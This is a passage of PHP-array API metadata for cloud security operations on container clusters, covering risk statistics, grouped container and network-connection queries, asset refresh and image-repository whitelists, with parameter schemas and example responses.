'GetClusterCheckItemWarningStatistics' => [ 'summary' => 'Queries the statistics on baseline risk items of container clusters.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container cluster.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~182997~~) operation to query the IDs of container clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cd49575861a3044d49c954e4b3911****', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The server UUID.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the server UUID.'."\n", 'type' => 'string', 'required' => false, 'example' => 'e4af3620-6895-4e2f-a641-a9d8fb53****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The statistics on risk items by risk level.'."\n", 'type' => 'object', 'properties' => [ 'LowWarningCount' => [ 'title' => '低危检查项数量', 'description' => 'The number of low-risk items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'MediumWarningCount' => [ 'title' => '中危检查项数量', 'description' => 'The number of medium-risk items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'HighWarningCount' => [ 'title' => '高危检查项数量', 'description' => 'The number of high-risk items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], ], ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'C2B285A3-3493-5C5F-A224-4CCE4BFC****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"LowWarningCount\\": 1,\\n \\"MediumWarningCount\\": 2,\\n \\"HighWarningCount\\": 3\\n },\\n \\"RequestId\\": \\"C2B285A3-3493-5C5F-A224-4CCE4BFC****\\"\\n}","type":"json"}]', 'title' => 'GetClusterCheckItemWarningStatistics', ], 'DescribeGroupedContainerInstances' => [ 'summary' => 'Queries containers by group type.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Criteria', 'in' => 'query', 'schema' => [ 'description' => 'The search conditions for assets. Specify the value in the JSON format. Separate multiple search conditions with commas (,). Example: `[{"name":"riskStatus","value":"YES"},{"name":"riskLevel","value":"2"}]`.'."\n" ."\n" .'> Supported search conditions include the instance ID, instance name, virtual private cloud (VPC) ID, region, and public IP address. You can call the [DescribeCriteria](~~DescribeCriteria~~) operation to query the supported search conditions.'."\n", 'type' => 'string', 'required' => false, 'example' => '[{"name":"riskStatus","value":"YES"},{"name":"riskLevel","value":"2"}]', ], ], [ 'name' => 'LogicalExp', 'in' => 'query', 'schema' => [ 'description' => 'The logical relationship that you want to use to evaluate multiple search conditions. Valid values:'."\n" ."\n" .'* **OR**: Search conditions are evaluated by using a logical **OR**.'."\n" .'* **AND**: Search conditions are evaluated by using a logical **AND**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'OR', ], ], [ 'name' => 'GroupField', 'in' => 'query', 'schema' => [ 'description' => 'The group type that you want to use to query containers. Valid values:'."\n" ."\n" .'* **pod**'."\n" .'* **appName**'."\n" .'* **namespace**'."\n" .'* **clusterId**'."\n" .'* **image**'."\n", 'type' => 'string', 'required' => true, 'example' => 'pod', ], ], [ 'name' => 'FieldValue', 'in' => 'query', 'schema' => [ 'description' => 'The keyword that you want to use to query containers. This parameter depends on the value of the GroupField parameter.'."\n" ."\n" .'* If the **GroupField** parameter is set to **pod**, set this parameter to the name of the pod that you want to query.'."\n" .'* If the **GroupField** parameter is set to **appName**, set this parameter to the name of the application that you want to query.'."\n" .'* If the **GroupField** parameter is set to **namespace**, set this parameter to the namespace that you want to query.'."\n" .'* If the **GroupField** parameter is set to **clusterId**, set this parameter to the ID of the cluster that you want to query.'."\n" .'* If the **GroupField** parameter is set to **image**, set this parameter to the name of the image that you want to query.'."\n" ."\n" .'> Fuzzy match is supported.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cas-adad-qeqwe', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **20**.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '4E5BFDCF-B9DD-430D-9DA4-151BCB581C9D', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of container assets returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '25', ], 'Count' => [ 'description' => 'The number of container assets returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], 'GroupedContainerInstanceList' => [ 'description' => 'The information about the container.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'low', ], 'HostIp' => [ 'description' => 'The IP address of the host in the container cluster.'."\n", 'type' => 'string', 'example' => '172.114.XX.XX', ], 'Pod' => [ 'description' => 'The name of the pod.'."\n", 'type' => 'string', 'example' => 'csi-plugin-2n****', ], 'RiskStatus' => [ 'description' => 'Indicates whether risks were detected. Valid values:'."\n" ."\n" .'* **NO**'."\n" .'* **YES**'."\n", 'type' => 'string', 'example' => 'NO', ], 'CreateTime' => [ 'description' => 'The timestamp when the cluster was created. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1600076893000', ], 'Namespace' => [ 'description' => 'The namespace of the cluster.'."\n", 'type' => 'string', 'example' => 'kube-system', ], 'CusterState' => [ 'description' => 'The status of the cluster. Valid values:'."\n" ."\n" .'* **running**: The cluster is running.'."\n" .'* **stopped**: The cluster is stopped.'."\n" .'* **deleted**: The cluster is deleted.'."\n" .'* **delete_failed**: The cluster failed to be deleted.'."\n" .'* **failed**: The cluster failed to be created.'."\n", 'type' => 'string', 'example' => 'running', ], 'InstanceId' => [ 'description' => 'The ID of the server.'."\n", 'type' => 'string', 'example' => 'i-8vb9ul5xec4tua4q****', ], 'RegionId' => [ 'description' => 'The region ID of the instance.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'AppName' => [ 'description' => 'The name of the application.'."\n", 'type' => 'string', 'example' => 'oss-liveness-probe', ], 'InstanceCount' => [ 'description' => 'The number of pods, applications, clusters, or namespaces.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '9', ], 'ClusterType' => [ 'description' => 'The type of the cluster. Valid values:'."\n" ."\n" .'* **Kubernetes**: dedicated Kubernetes cluster.'."\n" .'* **ManagedKubernetes**: standard managed cluster (edge cluster).'."\n" .'* **Ask**: serverless Kubernetes (ASK) cluster.'."\n", 'type' => 'string', 'example' => 'ManagedKubernetes', ], 'ClusterName' => [ 'description' => 'The name of the cluster.'."\n", 'type' => 'string', 'example' => 'test', ], 'PodIp' => [ 'description' => 'The IP address of the pod.'."\n", 'type' => 'string', 'example' => '172.114.XX.XX', ], 'VulCount' => [ 'description' => 'The number of vulnerabilities that are detected for the current pod, application, namespace, or cluster.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'AlarmCount' => [ 'description' => 'The number of alerts that are detected for the current pod, application, namespace, or cluster.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RiskInstanceCount' => [ 'description' => 'The number of at-risk instances.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ClusterId' => [ 'description' => 'The ID of the cluster.'."\n", 'type' => 'string', 'example' => 'cf3824769c85441b4bf3****', ], 'Image' => [ 'description' => 'The container image.'."\n", 'type' => 'string', 'example' => 'registry-vpc.ap-southeast-5.aliyuncs.com/log-service-release/sls-connector:1.1.77', ], 'ImageRepoNamespace' => [ 'description' => 'The namespace of the image repository.'."\n", 'type' => 'string', 'example' => 'name001', ], 'ImageRepoName' => [ 'description' => 'The name of the image repository.'."\n", 'type' => 'string', 'example' => 'test-003', ], 'ImageRepoTag' => [ 'description' => 'The tag that is added to the image repository.'."\n", 'type' => 'string', 'example' => 'dev-20220512-2', ], 'ImageDigest' => [ 'description' => 'The digest value of the image.'."\n", 'type' => 'string', 'example' => '58e58c013f70bbfde140c8a55c1078074b3483479428d4069aa946827fd566cf', ], 'ImageUuid' => [ 'description' => 'The UUID of the image.'."\n", 'type' => 'string', 'example' => 'e4bdec1d9ba7e0967111a7ea467c****', ], 'HcCount' => [ 'description' => 'The number of baseline risks that are detected for the current pod, application, namespace, or cluster.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'SyncOpen' => [ 'description' => 'Indicates whether the synchronization of cluster audit logs is enabled. Valid values:'."\n" ."\n" .'* **0**: disabled.'."\n" .'* **1**: enabled.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'SyncStatus' => [ 'description' => 'The status of the synchronization of cluster audit logs. Valid values:'."\n" ."\n" .'* **0**: The synchronization failed.'."\n" .'* **1**: The synchronization is successful.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"4E5BFDCF-B9DD-430D-9DA4-151BCB581C9D\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 25,\\n \\"Count\\": 20\\n },\\n \\"GroupedContainerInstanceList\\": [\\n {\\n \\"RiskLevel\\": \\"low\\",\\n \\"HostIp\\": \\"172.114.XX.XX\\",\\n \\"Pod\\": \\"csi-plugin-2n****\\",\\n \\"RiskStatus\\": \\"NO\\",\\n \\"CreateTime\\": 1600076893000,\\n \\"Namespace\\": \\"kube-system\\",\\n \\"CusterState\\": \\"running\\",\\n \\"InstanceId\\": \\"i-8vb9ul5xec4tua4q****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"AppName\\": \\"oss-liveness-probe\\",\\n \\"InstanceCount\\": 9,\\n \\"ClusterType\\": \\"ManagedKubernetes\\",\\n \\"ClusterName\\": \\"test\\",\\n \\"PodIp\\": \\"172.114.XX.XX\\",\\n \\"VulCount\\": 1,\\n \\"AlarmCount\\": 1,\\n \\"RiskInstanceCount\\": 1,\\n \\"ClusterId\\": \\"cf3824769c85441b4bf3****\\",\\n \\"Image\\": \\"registry-vpc.ap-southeast-5.aliyuncs.com/log-service-release/sls-connector:1.1.77\\",\\n \\"ImageRepoNamespace\\": \\"name001\\",\\n \\"ImageRepoName\\": \\"test-003\\",\\n \\"ImageRepoTag\\": \\"dev-20220512-2\\",\\n \\"ImageDigest\\": \\"58e58c013f70bbfde140c8a55c1078074b3483479428d4069aa946827fd566cf\\",\\n \\"ImageUuid\\": \\"e4bdec1d9ba7e0967111a7ea467c****\\",\\n \\"HcCount\\": 20,\\n \\"SyncOpen\\": 1,\\n \\"SyncStatus\\": 1\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 4E5BFDCF-B9DD-430D-9DA4-151BCB581C9D\\n \\n 1\\n 20\\n 25\\n 20\\n \\n \\n low\\n 172.114.XX.XX\\n csi-plugin-2n****\\n NO\\n 1600076893000\\n kube-system\\n running\\n i-8vb9ul5xec4tua4q****\\n cn-hangzhou\\n oss-liveness-probe\\n 9\\n ManagedKubernetes\\n test\\n 172.114.XX.XX\\n 1\\n 1\\n 1\\n cf3824769c85441b4bf3****\\n \\n","errorExample":""}]', 'title' => 'DescribeGroupedContainerInstances', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'RefreshContainerAssets' => [ 'summary' => 'Refreshes the statistics of container assets in the Assets module.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', ], 'parameters' => [ [ 'name' => 'AssetType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the container asset whose statistics you want to refresh. Valid values:'."\n" ."\n" .'* **IMAGE**'."\n" .'* **CONTAINER**'."\n", 'type' => 'string', 'required' => true, 'example' => 'IMAGE', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '2090F329-3658-49AF-820B-C4157FC31BCB', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"2090F329-3658-49AF-820B-C4157FC31BCB\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 2090F329-3658-49AF-820B-C4157FC31BCB\\n","errorExample":""}]', 'title' => 'RefreshContainerAssets', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeClusterNetwork' => [ 'summary' => 'Queries information about the network topology edge by cluster.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'StartTime', 'in' => 'query', 'schema' => [ 'description' => 'The start timestamp of the query. Unit: milliseconds.'."\n" ."\n" .'> The days between the start timestamp and the end timestamp cannot exceed **seven** days.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '1656038740435', ], ], [ 'name' => 'EndTime', 'in' => 'query', 'schema' => [ 'description' => 'The end timestamp of the query. Unit: milliseconds.'."\n" ."\n" .'> The days between the start timestamp and the end timestamp cannot exceed **seven** days.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '1656038940435', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'C286491D-4A2F-589A-B63B-D2AD3DA9BD71', ], 'ClusterNetwork' => [ 'description' => 'Information about the network topology edge in the cluster.'."\n", 'type' => 'object', 'properties' => [ 'Node' => [ 'description' => 'An array that consists of information about the node.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The node information.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the node. Valid values:'."\n" ."\n" .'* **cluster**: a cluster.'."\n" .'* **internet**: a network node outside the cluster.'."\n", 'type' => 'string', 'example' => 'cluster', ], 'RiskLevel' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **3**: high.'."\n" .'* **2**: medium.'."\n" .'* **1**: low.'."\n" .'* **0**: secure.'."\n" .'* **-1**: unknown.'."\n", 'type' => 'string', 'example' => '3', ], 'NetTopoSwitch' => [ 'description' => 'The status of the network topology switch. Valid values:'."\n" ."\n" .'* **ON**'."\n" .'* **OFF**'."\n", 'type' => 'string', 'example' => 'ON', ], 'InterceptionType' => [ 'description' => 'The network type. Valid values:'."\n" ."\n" .'* **0**: classic network.'."\n" .'* **1**: virtual private cloud (VPC).'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'CnnfSwitch' => [ 'description' => 'The status of the microsegmentation switch. Valid values:'."\n" ."\n" .'* **0**: off.'."\n" .'* **1**: on.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Name' => [ 'description' => 'The name of the node.'."\n", 'type' => 'string', 'example' => 'testwww', ], 'Id' => [ 'description' => 'The ID of the node.'."\n", 'type' => 'string', 'example' => 'cfeb7a9f99ce740e98c5595d0fe37****'."\n", ], ], ], ], 'Edge' => [ 'description' => 'An array that consists of information about the topology edge.'."\n", 'type' => 'array', 'items' => [ 'description' => 'Information about the topology edge.'."\n", 'type' => 'object', 'properties' => [ 'DstNodeId' => [ 'description' => 'The ID of the destination node.'."\n", 'type' => 'string', 'example' => 'cfb41a869c71e4678a97021582dd8****', ], 'Port' => [ 'description' => 'The port number of the topology edge.'."\n", 'type' => 'string', 'example' => '6164', ], 'SrcNodeId' => [ 'description' => 'The ID of the source node.'."\n", 'type' => 'string', 'example' => 'cfb41a869c71e4678a97021582dd8****', ], 'SrcNodeType' => [ 'description' => 'The type of the source node. Valid values:'."\n" ."\n" .'* **cluster**: a cluster.'."\n" .'* **internet**: a network node outside the cluster'."\n", 'type' => 'string', 'example' => 'cluster', ], 'DstNodeType' => [ 'description' => 'The type of the destination node. Valid values:'."\n" ."\n" .'* Set the value to **cluster**.'."\n", 'type' => 'string', 'example' => 'cluster', ], 'Id' => [ 'description' => 'The ID of the topology edge.'."\n", 'type' => 'string', 'example' => '1', ], ], ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C286491D-4A2F-589A-B63B-D2AD3DA9BD71\\",\\n \\"ClusterNetwork\\": {\\n \\"Node\\": [\\n {\\n \\"Type\\": \\"cluster\\",\\n \\"RiskLevel\\": \\"3\\",\\n \\"NetTopoSwitch\\": \\"ON\\",\\n \\"InterceptionType\\": 1,\\n \\"CnnfSwitch\\": 1,\\n \\"Name\\": \\"testwww\\",\\n \\"Id\\": \\"cfeb7a9f99ce740e98c5595d0fe37****\\\\n\\"\\n }\\n ],\\n \\"Edge\\": [\\n {\\n \\"DstNodeId\\": \\"cfb41a869c71e4678a97021582dd8****\\",\\n \\"Port\\": \\"6164\\",\\n \\"SrcNodeId\\": \\"cfb41a869c71e4678a97021582dd8****\\",\\n \\"SrcNodeType\\": \\"cluster\\",\\n \\"DstNodeType\\": \\"cluster\\",\\n \\"Id\\": \\"1\\"\\n }\\n ]\\n }\\n}","type":"json"}]', 'title' => 'DescribeClusterNetwork', ], 'FindContainerNetworkConnect' => [ 'summary' => 'Container Network Connection', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', ], 'parameters' => [ [ 'name' => 'CriteriaType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the information that you want to query. Valid values:'."\n" ."\n" .'* **EDGE**: connection information'."\n", 'type' => 'string', 'required' => false, 'example' => 'EDGE', ], ], [ 'name' => 'StartTime', 'in' => 'query', 'schema' => [ 'description' => 'The start time of the network connection.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1666886400000', ], ], [ 'name' => 'EndTime', 'in' => 'query', 'schema' => [ 'description' => 'The end time of the network connection.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1649260799999', ], ], [ 'name' => 'SrcNode', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'The information about the source node.'."\n", 'type' => 'object', 'properties' => [ 'NodeType' => [ 'description' => 'The type of the node. Valid values:'."\n" ."\n" .'* **app**: application, which indicates that the node type is application.'."\n", 'type' => 'string', 'required' => false, 'example' => 'app', ], 'ClusterId' => [ 'description' => 'The ID of the container cluster.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of container clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c56xxx1775dea0', ], 'Namespace' => [ 'description' => 'The namespace of the cluster.'."\n", 'type' => 'string', 'required' => false, 'example' => 'default', ], 'AppName' => [ 'description' => 'The name of the container application.'."\n", 'type' => 'string', 'required' => false, 'example' => 'arms-prometheus-ack-arms-prometheus', ], 'PodName' => [ 'description' => 'The name of the pod.'."\n", 'type' => 'string', 'required' => false, 'example' => 'abc-deployment-yacs-31144-39265-1384966-7f8c8cd578-h6mhb', ], 'NodeIds' => [ 'description' => 'The node IDs.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The node ID.'."\n", 'type' => 'string', 'required' => false, 'example' => '1001', ], 'required' => false, ], ], 'required' => false, ], ], [ 'name' => 'DstNode', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'The information about the destination node.'."\n", 'type' => 'object', 'properties' => [ 'NodeType' => [ 'description' => 'The type of the node. Valid values:'."\n" ."\n" .'* **app**: application, which indicates that the node type is application.'."\n", 'type' => 'string', 'required' => false, 'example' => 'app', ], 'ClusterId' => [ 'description' => 'The ID of the container cluster.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of container clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'f5x833820xx', ], 'Namespace' => [ 'description' => 'The namespace of the cluster.'."\n", 'type' => 'string', 'required' => false, 'example' => 'default', ], 'AppName' => [ 'description' => 'The name of the container application.'."\n", 'type' => 'string', 'required' => false, 'example' => 'nginx-ingress-controller', ], 'PodName' => [ 'description' => 'The name of the pod.'."\n", 'type' => 'string', 'required' => false, 'example' => 'abc-deployment-yacs-31144-39265-1384966-7f8c8cd578-h6mhb', ], 'NodeIds' => [ 'description' => 'The node IDs.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The node ID.'."\n", 'type' => 'string', 'required' => false, 'example' => '1001', ], 'required' => false, ], ], 'required' => false, ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'Schema of Response', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '8686CE6E-9BFA-5436-A9D9-77B984AEE7F8', ], 'Connects' => [ 'description' => 'The information about the network connections.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the network connection.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the network connection.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1458', ], 'FirstTime' => [ 'description' => 'The timestamp when the connection was first established.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '2022-11-11 20:54:32', ], 'LastTime' => [ 'description' => 'The timestamp when the connection was last established.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '2022-11-24 10:26:00', ], 'SrcIp' => [ 'description' => 'The source IP address.'."\n", 'type' => 'string', 'example' => '35.233.62.116', ], 'SrcPort' => [ 'description' => 'The source port.'."\n", 'type' => 'string', 'example' => '10240', ], 'DstIp' => [ 'description' => 'The destination IP address.'."\n", 'type' => 'string', 'example' => '172.20.62.176', ], 'DstPort' => [ 'description' => 'The destination port.'."\n", 'type' => 'string', 'example' => '443', ], 'SrcContainer' => [ 'description' => 'The information about the source container.'."\n" ."\n" .'> This parameter is not supported.'."\n", 'type' => 'object', 'properties' => [ 'ContainerId' => [ 'description' => 'The ID of the source container.'."\n", 'type' => 'string', 'example' => '48a6xxx5709d5a5866', ], ], ], 'DstContainer' => [ 'description' => 'The information about the destination container.'."\n" ."\n" .'> This parameter is not supported.'."\n", 'type' => 'object', 'properties' => [ 'ContainerId' => [ 'description' => 'The ID of the destination container.'."\n", 'type' => 'string', 'example' => '48a6dxxx9d5a5866', ], ], ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '12', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '10', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '20', ], 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"8686CE6E-9BFA-5436-A9D9-77B984AEE7F8\\",\\n \\"Connects\\": [\\n {\\n \\"Id\\": 1458,\\n \\"FirstTime\\": 1636077279174,\\n \\"LastTime\\": 1636595679174,\\n \\"SrcIp\\": \\"35.233.62.116\\",\\n \\"SrcPort\\": \\"10240\\",\\n \\"DstIp\\": \\"172.20.62.176\\",\\n \\"DstPort\\": \\"443\\",\\n \\"SrcContainer\\": {\\n \\"ContainerId\\": \\"48a6xxx5709d5a5866\\"\\n },\\n \\"DstContainer\\": {\\n \\"ContainerId\\": \\"48a6dxxx9d5a5866\\"\\n }\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"TotalCount\\": 12,\\n \\"Count\\": 10,\\n \\"PageSize\\": 20,\\n \\"CurrentPage\\": 1\\n }\\n}","type":"json"}]', 'title' => 'FindContainerNetworkConnect', 'translator' => 'machine', ], 'UpdateWhiteList' => [ 'summary' => 'Updates the IP address whitelist of an image repository.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92454', 'abilityTreeNodes' => [ 'FEATUREsasA217JR', ], ], 'parameters' => [ [ 'name' => 'RegistryId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the image repository.'."\n" ."\n" .'> You can call the [PageImageRegistry](~~PageImageRegistry~~) operation to obtain the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '19882', ], ], [ 'name' => 'WhiteList', 'in' => 'query', 'schema' => [ 'description' => 'The IP address whitelist. Separate multiple IP addresses with commas (,).'."\n", 'type' => 'string', 'required' => true, 'example' => '192.168.XXX.XXX,192.180.XXX.XXX', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'Indicates whether the request was successful.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '576EF709-71CE-500F-95FC-7F7A297D****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": true,\\n \\"RequestId\\": \\"576EF709-71CE-500F-95FC-7F7A297D****\\"\\n}","type":"json"}]', 'title' => 'UpdateWhiteList', 'translator' => 'machine', ], 'GetRegistryScanDayNum' => [ 'summary' => 'Queries the time range of image scans.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8****', ], 'ScanDayNumConfig' => [ 'description' => 'The configuration of the 